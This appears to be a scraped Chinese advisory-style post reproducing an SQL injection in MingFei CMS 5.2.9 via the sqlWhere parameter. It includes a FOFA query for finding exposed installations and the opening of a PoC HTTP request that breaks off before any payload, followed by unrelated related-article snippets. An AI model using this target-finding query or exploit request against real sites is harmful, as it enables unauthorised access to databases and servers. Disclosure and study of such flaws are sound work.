铭飞CMS SQL注入漏洞复现(CNVD-2024-06148)

server/2025/1/15 9:37:12/

0x01 产品简介

铭飞CMS是一款基于java开发的一套轻量级开源内容管理系统,铭飞CMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。

0x02 漏洞概述

由于铭飞CMS 文章列表接口content/list.do中的sqlWhere参数缺少对外部输入SQL语句的验证,未经身份验证的攻击者可利用该漏洞获取数据库敏感数据,进一步利用可获取服务器权限。

0x03 影响范围

铭飞CMS = 5.2.9

0x04 复现环境

FOFA:

body="铭飞MCMS" || body="/mdiy/formData/save.do" || body="static/plugins/ms/1.0.0/ms.js"

0x05 漏洞复现 

PoC

POST /cms/content/list.do HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-

http://www.ppmy.cn/server/24820.html

相关文章

【数据可视化】教程案例相关项目,要点和难点,案例代码,代码解析

当涉及数据可视化时,有许多不同的工具、技术和方法可供选择。下面是一个简要的指南,其中包括教程、案例、相关项目,以及关于要点和难点的信息。 教程 Python的Matplotlib和Seaborn库:这两个库是Python中最流行的数据可视化工具之一。你可以通过官方文档或者在线教程学习如…

和鲸科技出席第五届空间数据智能学术会议,执行总裁殷自强受邀发表主题报告

4月26日,由 ACM SIGSPATIAL 中国分会、ACM SIGMOD 中国分会主办的第五届空间数据智能学术会议(SpatialDI 2024,下简称“会议”)在南京盛大开幕。本次会议特邀李清泉院士、周成虎院士、丛高教授、谢炯博士、张雪英教授等国内外知名…

Linux—— HTTPS证书

HTTPS ( HyperText Transfer Protocol Secure )是一种用于安全传输超文本的通信协议。它是 HTT协议的安全版本,通过在 HTTP 和 TCP 之间添加 SSL/TLS 加密层,确保传输过程中的数据安全性和完 整性。 HTTPS 的工作原理 1. 建立…

[HFCTF 2021 Final]easyflask

这ctf打着真累。刷题根本刷不完,知识点好多。。。也是好久没写,一直在准备hw,今儿整一个python的反序列化入门吧。呜呜呜,好多反序列化的题。。。 就先跟着提示走就可以了。直到我们找到了这个 #!/usr/bin/python3.6 import os i…

Java获取文件类型,FileTypeUtil、Files、MimetypesFileTypeMap、URL多种实现对比

说说需求: 工作中需要判断文件是否是音频文件,实际生产环境中,遇到用户修改文件后缀的情况,导致逻辑处理异常。 正确获取到文件的类型是核心工作了,以下是实现的方案: hutool的FileTypeUtilJDK的FilesJDK…

出现 Error: listen EACCES: permission denied 0.0.0.0:80 解决方法

目录 1. 问题所示2. 原理分析3. 解决方法1. 问题所示 执行VUE项目的时候,出现如下问题 error when starting dev server: Error: listen EACCES: permission denied 0.0.0.0:80at Server.setupListenHandle [as _listen2] (node:net:1468:21)at listenInC

face_recognition+python-opencv实现摄像头实时人脸识别

参考: https://www.jianshu.com/p/9d5f0020acd5 完整代码 # -*- coding: utf-8 -*-import face_recognitionimport cv2import oscamera cv2.VideoCapture(0)font cv2.FONT_HERSHEY_DUPLEXface_names []face_codings []person_list os.listdir("faces/&quo…

【linux运维】vim基础应用

系列综述: 💞目的:本系列是个人整理为了学习基本的shell编程和linux命令,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于b站大学——linux运维课程进行的,…